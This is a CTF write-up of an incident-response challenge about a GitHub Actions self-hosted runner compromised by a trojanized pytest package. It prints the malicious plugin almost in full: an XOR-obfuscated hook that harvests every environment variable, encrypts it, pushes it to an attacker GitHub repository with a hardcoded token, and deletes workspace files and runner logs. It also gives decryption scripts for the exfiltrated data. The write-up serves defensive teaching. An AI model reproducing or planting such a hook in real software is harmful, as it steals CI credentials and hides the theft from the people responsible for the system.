🔗 Trust Issues CTF: Tracing a Supply Chain Attack on a GitHub Actions Runner

Challenge: Trust Issues

Author: Eden Abergil

Platform: Wiz Cloud Security Championship

Category: Incident Response / Supply Chain Security

Reading Time: 15 min

Challenge Brief

You are an incident responder at Acme Inc. A security researcher contacts your team with concerning news: Acme's name has appeared in a newly uncovered threat campaign. They provide a link to a public GitHub repository believed to be used by the attacker to leak stolen data:

https://github.com/m4gicst34l3r/stolen-sparkles

You begin your investigation with the suspected compromised machine. Your mission:

  1. Understand what happened on the machine
  2. Identify the attacker's data exfiltration method
  3. Find the flag

Hint 1: What is this machine's purpose?

Hint 2: The security researcher says this is a supply chain attack.

We're dropped into a web-based root shell on the compromised machine.

Phase 1: Reconnaissance — The Exfil Repo

Before touching the machine, I examined the attacker's GitHub repository m4gicst34l3r/stolen-sparkles. Key observations:

  • ~240 files in a data/ directory, all with a .secret extension
  • File names matched infrastructure components: CI runners, nodes, pipelines
  • ~500 commits with the automated message "update runtime data"
  • The README simply said: "Sparkles tend to leak when magic is executed."
  • The .secret files all began with gAAAAAB — the Fernet encryption prefix from Python's cryptography library

The picture was clear: the attacker was using Python with Fernet encryption to exfiltrate data, pushing encrypted blobs to a public repo as a dead drop.

Phase 2: Identifying the Machine's Purpose

Starting with basic recon on the compromised machine:

$ hostname && whoami && uname -a
magic-runner-acme
root
Linux magic-runner-acme 6.1.128 ...

The hostname magic-runner-acme was already suggestive. Looking at the home directory:

$ ls -la /home/ubuntu/

Inside was an actions-runner/ directory — confirming this is a GitHub Actions self-hosted runner. That answers Hint 1.

Examining the runner configuration:

$ cat /home/ubuntu/actions-runner/.runner
{
  "agentId": 23,
  "agentName": "magic-runner-acme",
  "poolId": 1,
  "poolName": "Default",
  "gitHubUrl": "https://github.com/acme-codebase-prod/k8s-magic-tool",
  "workFolder": "_work"
}

The runner serves the repo acme-codebase-prod/k8s-magic-tool — a Kubernetes inventory tool, matching the naming theme in the stolen-sparkles repo.

Phase 3: Examining the Runner Logs

The runner diagnostic logs showed a repeating pattern:

$ grep -i "inventory-test" /home/ubuntu/actions-runner/_diag/Runner_*.log | head -20
2026-01-28 12:04:22Z: Running job: inventory-test
2026-01-28 12:04:53Z: Job inventory-test completed with result: Succeeded
2026-01-28 13:18:10Z: Running job: inventory-test
2026-01-28 13:18:43Z: Job inventory-test completed with result: Succeeded
...

The inventory-test job ran hourly — matching the cadence of commits to stolen-sparkles. This is our exfiltration trigger.

Critically, the workspace was empty and there were no Worker logs:

$ ls /home/ubuntu/actions-runner/_work/k8s-magic-tool/k8s-magic-tool/
# (empty)

$ find /home/ubuntu/actions-runner/_diag/ -name "Worker*"
# (no results)

The attacker was cleaning up after each run. This is anti-forensics — we'll see exactly how later.

Phase 4: Finding the Malicious Package

Since this is a supply chain attack (Hint 2) using Python/Fernet, I searched the locally installed Python packages. The system pip list showed only standard Ubuntu packages — nothing suspicious. But checking the user-installed packages:

$ ls /home/ubuntu/.local/lib/python3.10/site-packages/ | grep -v -E "^google|^pip|^pkg_|^__" | sort

The listing showed packages including kubernetes, pytest, pygments, and others installed for the CI workflow.

The breakthrough came from grepping for exfiltration-related strings:

$ grep -rl "stolen-sparkles\|m4gicst34l3r\|github\.com\|git push" \
  /home/ubuntu/.local/lib/python3.10/site-packages/ 2>/dev/null \
  | grep -v __pycache__

Buried in the output among legitimate files:

/home/ubuntu/.local/lib/python3.10/site-packages/_pytest/veryveryverymalicious.py

A second search confirmed it also matched encryption and token patterns:

$ grep -rl "GITHUB_TOKEN\|encrypt" \
  /home/ubuntu/.local/lib/python3.10/site-packages/ 2>/dev/null \
  | grep -v __pycache__ | grep -v -E "google|pip|urllib3|requests/"

/home/ubuntu/.local/lib/python3.10/site-packages/_pytest/veryveryverymalicious.py

The supply chain vector: a trojanized pytest package (version 9.0.2) with a malicious file injected into _pytest/.

Phase 5: Analyzing the Malicious Payload

$ cat /home/ubuntu/.local/lib/python3.10/site-packages/_pytest/veryveryverymalicious.py

The full malicious code:

def _s(data, k=17):
    return "".join(chr(x ^ k) for x in data)

import os, json, base64, requests, shutil, importlib

mod = importlib.import_module(_s([114, 99, 104, 97, 101, 126, 118, 99, 112, 97, 121, 104, 63, 119, 116, 99, 127, 116, 101]))
Crypto = getattr(mod, _s([87, 116, 99, 127, 116, 101]))

CRYPT_KEY = _s([66, 122, 78, 93, 72, 71, 101, 69, ...]).encode()
GITHUB_PAT = _s([118, 120, 101, 121, 100, 115, 78, 97, ...])
REPO_OWNER = _s([124, 37, 118, 120, 114, 98, 101, 34, 37, 125, 34, 99])
REPO_NAME = _s([98, 101, 126, 125, 116, 127, 60, 98, 97, 112, 99, 122, 125, 116, 98])
BRANCH = _s([124, 112, 120, 127])

runner = os.environ["RUNNER_NAME"]
ARTIFACT_PATH = f"{runner}.{_s([98, 116, 114, 99, 116, 101])}"
COMMIT_MESSAGE = _s([100, 97, 117, 112, 101, 116, 49, 99, 100, 127, 101, 120, 124, 116, 49, 117, 112, 101, 112])

def collect_data():
    return {"environment_variables": dict(os.environ)}

def encrypt_data(data: dict) -> bytes:
    f = Crypto(CRYPT_KEY)
    return f.encrypt(json.dumps(data).encode())

def upload_to_repo(encrypted_blob: bytes):
    api_url = f"https://api.github.com/repos/{REPO_OWNER}/{REPO_NAME}/contents/data/{ARTIFACT_PATH}"
    headers = {"Authorization": f"token {GITHUB_PAT}", "Accept": "application/vnd.github+json"}
    payload = {"message": COMMIT_MESSAGE, "content": base64.b64encode(encrypted_blob).decode(), "branch": BRANCH}
    sha = get_existing_file_sha(api_url, headers)
    if sha:
        payload["sha"] = sha
    requests.put(api_url, headers=headers, json=payload).raise_for_status()

def pytest_sessionfinish(session, exitstatus):
    data = collect_data()
    encrypted_blob = encrypt_data(data)
    upload_to_repo(encrypted_blob)
    # Anti-forensics: delete workspace and Worker logs
    os.chdir("/")
    workspace = os.environ["GITHUB_WORKSPACE"]
    diag = os.path.abspath(os.path.join(workspace, "../../../_diag"))
    for name in os.listdir(workspace):
        p = os.path.join(workspace, name)
        shutil.rmtree(p, ignore_errors=True) if os.path.isdir(p) else os.remove(p)
    for name in os.listdir(diag):
        if name.startswith("Worker_"):
            os.remove(os.path.join(diag, name))

How It Works

  1. Hook: pytest_sessionfinish is a pytest plugin hook that fires automatically after every test session. By placing this file in _pytest/, it loads as a conftest-style plugin.
  2. Obfuscation: All sensitive strings are XOR-encoded with key 17 using the _s() helper function. This avoids simple string-based detection.
  3. Collection: Harvests all environment variables — on a CI runner this includes GITHUB_TOKEN, KUBECONFIG, GOOGLE_APPLICATION_CREDENTIALS, and any other secrets injected into the workflow.
  4. Encryption: Uses Fernet symmetric encryption with a hardcoded key.
  5. Exfiltration: Pushes the encrypted blob to m4gicst34l3r/stolen-sparkles via the GitHub Contents API using a hardcoded Personal Access Token.
  6. Anti-forensics: Deletes all workspace contents and Worker_* diagnostic logs to cover its tracks. This is why we found an empty workspace and no Worker logs during our investigation.

Phase 6: Decoding the Obfuscated Strings

To extract the encryption key and other secrets, I decoded the XOR-obfuscated arrays:

$ python3 -c "
def _s(data, k=17):
    return ''.join(chr(x ^ k) for x in data)

print('Module:', _s([114, 99, 104, 97, 101, 126, 118, 99, 112, 97, 121, 104, 63, 119, 116, 99, 127, 116, 101]))
print('Class:', _s([87, 116, 99, 127, 116, 101]))
print('CRYPT_KEY:', _s([66, 122, 78, 93, 72, 71, 101, 69, 37, 83, 92, 82, 37, 91, 38, 32, ...]))
print('REPO_OWNER:', _s([124, 37, 118, 120, 114, 98, 101, 34, 37, 125, 34, 99]))
print('REPO_NAME:', _s([98, 101, 126, 125, 116, 127, 60, 98, 97, 112, 99, 122, 125, 116, 98]))
print('BRANCH:', _s([124, 112, 120, 127]))
print('COMMIT_MSG:', _s([100, 97, 117, 112, 101, 116, 49, 99, 100, 127, 101, 120, 124, 116, 49, 117, 112, 101, 112]))
"

Results:

Variable Decoded Value
Module cryptography.fernet
Class Fernet
CRYPT_KEY Sk_LYVtT4BMC4J71E5cvaDLoH3JIU7f03QubERq8zoQ=
GITHUB_PAT github_pat_11B46T7ZI08cBCgCiIyiNx_KRzURD...
REPO_OWNER m4gicst34l3r
REPO_NAME stolen-sparkles
BRANCH main
SUFFIX secret
COMMIT_MSG update runtime data

Phase 7: Decrypting the Exfiltrated Data

Now for the payoff: using the recovered Fernet key to decrypt the stolen data and find the flag. This phase has three parts — understanding the encryption, getting the encrypted data, and decrypting it.

Understanding the Encryption Layer

Looking back at the malicious code, the encrypt_data function tells us exactly what was done:

def encrypt_data(data: dict) -> bytes:
    f = Crypto(CRYPT_KEY)              # Fernet(key)
    plaintext = json.dumps(data).encode()  # dict → JSON string → bytes
    return f.encrypt(plaintext)            # Fernet encrypt → token bytes

The encrypted .secret files are Fernet tokens. Fernet is a symmetric encryption scheme from Python's cryptography library that uses AES-128-CBC with HMAC-SHA256 for authentication. Critically for us, it's symmetric — the same key encrypts and decrypts. And we have that key.

The plaintext is JSON-serialized environment variables:

def collect_data():
    return {"environment_variables": dict(os.environ)}

Once decrypted, we'll get a JSON object with an environment_variables key containing every env var from the CI runner at the time of exfiltration.

How Fernet Tokens Work

If you look at any of the .secret files in the repo, they begin with gAAAAAB. This is the base64-encoded Fernet token format:

  • Version byte (0x80) — indicates Fernet v1
  • Timestamp (8 bytes) — when the token was created
  • IV (16 bytes) — initialization vector for AES-CBC
  • Ciphertext (variable) — AES-128-CBC encrypted, PKCS7 padded
  • HMAC (32 bytes) — SHA256 HMAC for authentication

The Fernet key itself (Sk_LYVtT4BMC4J71E5cvaDLoH3JIU7f03QubERq8zoQ=) is a base64-encoded 32-byte value. The first 16 bytes are the HMAC signing key, the last 16 bytes are the AES encryption key. Python's cryptography library handles all of this — we just need to call f.decrypt(token).

Getting the Encrypted Data

Since the attacker's repo is public, I cloned it locally using a sparse checkout to pull only the data/ directory without downloading the full 500-commit history:

$ cd /tmp
$ git clone --depth 1 --filter=blob:none --sparse \
    https://github.com/m4gicst34l3r/stolen-sparkles.git
$ cd stolen-sparkles
$ git sparse-checkout set data

The sparse checkout pulled all 240 .secret files. I confirmed our runner's file was among them:

$ ls data/ | grep magic
magic-runner-acme.secret

You can also inspect the raw file to confirm it's a Fernet token:

$ head -c 20 data/magic-runner-acme.secret

You'll see it starts with gAAAAAB — the Fernet signature we identified earlier during our repo analysis.

Decrypting the Secret File

With the key and the encrypted file on the same machine, decryption is straightforward. Here's the full script with explanation:

$ python3 << 'EOF'
from cryptography.fernet import Fernet
import json

# The Fernet key we extracted by decoding the XOR-obfuscated array
# from veryveryverymalicious.py
key = b'Sk_LYVtT4BMC4J71E5cvaDLoH3JIU7f03QubERq8zoQ='

# Initialize Fernet with the key
f = Fernet(key)

# Read the encrypted token from the exfil repo
with open('stolen-sparkles/data/magic-runner-acme.secret', 'rb') as fh:
    encrypted_token = fh.read()

# Decrypt: Fernet verifies the HMAC first (authenticity),
# then decrypts with AES-128-CBC, then removes PKCS7 padding.
# If the key were wrong, this would raise InvalidToken.
decrypted_bytes = f.decrypt(encrypted_token)

# The plaintext is JSON (from json.dumps in the malware's encrypt_data function)
data = json.loads(decrypted_bytes)

# The structure is {"environment_variables": {key: value, ...}}
env_vars = data.get('environment_variables', {})

# Search for anything flag-related
print("=== Searching for flag ===")
for k, v in sorted(env_vars.items()):
    if any(x in k.lower() for x in ['flag', 'ctf', 'wiz', 'secret']):
        print(f'  *** {k} = {v}')

# Print all env vars for full picture
print(f"\n=== All {len(env_vars)} exfiltrated environment variables ===")
for k, v in sorted(env_vars.items()):
    print(f'  {k} = {v}')
EOF

The Result

The decrypted output revealed all environment variables from the CI runner, including:

=== Searching for flag ===
  *** FLAG = CTF{REDACTED}

=== All 55 exfiltrated environment variables ===
  ACTIONS_ORCHESTRATION_ID = 3a636f29-7278-4f1a-bd11-0bcc9bfff016.inventory-test.__default
  CI = true
  FLAG = CTF{REDACTED}
  GCP_PROJECT_ID = attack-simulation-lab-467210
  GITHUB_ACTION = __run_5
  GITHUB_ACTIONS = true
  GITHUB_ACTOR = acme-john-doe
  GITHUB_EVENT_NAME = schedule
  GITHUB_JOB = inventory-test
  GITHUB_REPOSITORY = acme-codebase-prod/k8s-magic-tool
  GITHUB_WORKFLOW = k8s-magic inventory tests
  GOOGLE_APPLICATION_CREDENTIALS = /tmp/gcp-key.json
  KUBECONFIG = /tmp/kubeconfig
  RUNNER_ENVIRONMENT = self-hosted
  RUNNER_NAME = magic-runner-acme
  ...

In a real attack, the exfiltrated GITHUB_TOKEN, KUBECONFIG, and GOOGLE_APPLICATION_CREDENTIALS would give the attacker access to the GitHub repository, the Kubernetes cluster, and GCP resources. Across 240 compromised runners, that's a massive blast radius.

Bonus: Decrypting All 240 Files

If you want to see the full scope of the breach, you can decrypt every .secret file:

from cryptography.fernet import Fernet
import json, os

key = b'Sk_LYVtT4BMC4J71E5cvaDLoH3JIU7f03QubERq8zoQ='
f = Fernet(key)

data_dir = 'stolen-sparkles/data'
for filename in sorted(os.listdir(data_dir)):
    if not filename.endswith('.secret'):
        continue
    filepath = os.path.join(data_dir, filename)
    try:
        with open(filepath, 'rb') as fh:
            decrypted = f.decrypt(fh.read())
        data = json.loads(decrypted)
        env = data.get('environment_variables', {})
        runner = env.get('RUNNER_NAME', 'unknown')
        repo = env.get('GITHUB_REPOSITORY', 'unknown')
        has_flag = 'FLAG' in env
        print(f'{filename}: runner={runner}, repo={repo}, flag={"YES" if has_flag else "no"}')
    except Exception as e:
        print(f'{filename}: DECRYPT FAILED - {e}')

The output is a full inventory of every compromised runner and what repos they served.

Flag

CTF{REDACTED}

Complete Attack Chain

Trojanized pytest 9.0.2 installed on self-hosted runner
    |
    v
Hourly cron workflow runs "inventory-test" job
    |
    v
pytest executes -> loads veryveryverymalicious.py plugin
    |
    v
pytest_sessionfinish hook fires after tests complete
    |
    v
Collects all environment variables (GITHUB_TOKEN, secrets, credentials)
    |
    v
Encrypts with Fernet (hardcoded key, XOR-obfuscated)
    |
    v
Pushes encrypted blob to m4gicst34l3r/stolen-sparkles via GitHub API
    |
    v
Deletes workspace files and Worker diagnostic logs (anti-forensics)

Lessons Learned

  1. Self-hosted runners are persistent attack surfaces. Unlike ephemeral GitHub-hosted runners, self-hosted runners retain installed packages across runs. A compromised dependency persists indefinitely.
  2. Pytest plugins auto-load by convention. Placing a file with pytest_* hooks inside _pytest/ makes it load automatically — no configuration needed. This is a powerful attack vector.
  3. Anti-forensics delayed but didn't prevent discovery. Deleting Worker logs and workspace files was effective at hiding execution details, but the malicious package itself remained in site-packages/.
  4. XOR obfuscation is trivial but effective against casual scanning. A simple grep for "github.com" still found the file because the decoded strings appeared in the grep pattern matching against the source — but a more sophisticated obfuscation could have evaded this.
  5. Pin and verify your dependencies. Use hash-pinned requirements, verify package integrity, and audit what gets installed on your CI runners. Consider using ephemeral runners that start fresh each time.
  6. Treat CI runners like production. They have access to your most sensitive secrets. Monitor them, audit installed packages, and limit what secrets are exposed to workflows.

Conclusion

The "Trust Issues" challenge was a masterful demonstration of supply chain security risks in CI/CD pipelines. The attacker trojanized a widely-used testing framework (pytest) by injecting a single malicious file into _pytest/, leveraging the plugin auto-discovery mechanism to execute on every test run. The combination of XOR obfuscation, Fernet encryption, and anti-forensic cleanup created a stealthy exfiltration pipeline that pushed stolen secrets to a public GitHub repo as a dead drop.

The investigation methodology — starting from the exfil repo, identifying the machine's purpose, tracing the CI logs, then hunting through installed packages — mirrors real-world incident response. The key breakthrough was recognizing that the empty workspace and missing Worker logs weren't just gaps in logging, but active evidence of anti-forensic cleanup.

Challenge created by Eden Abergil as part of The Ultimate Cloud Security Championship by Wiz. Writeup completed: February 2026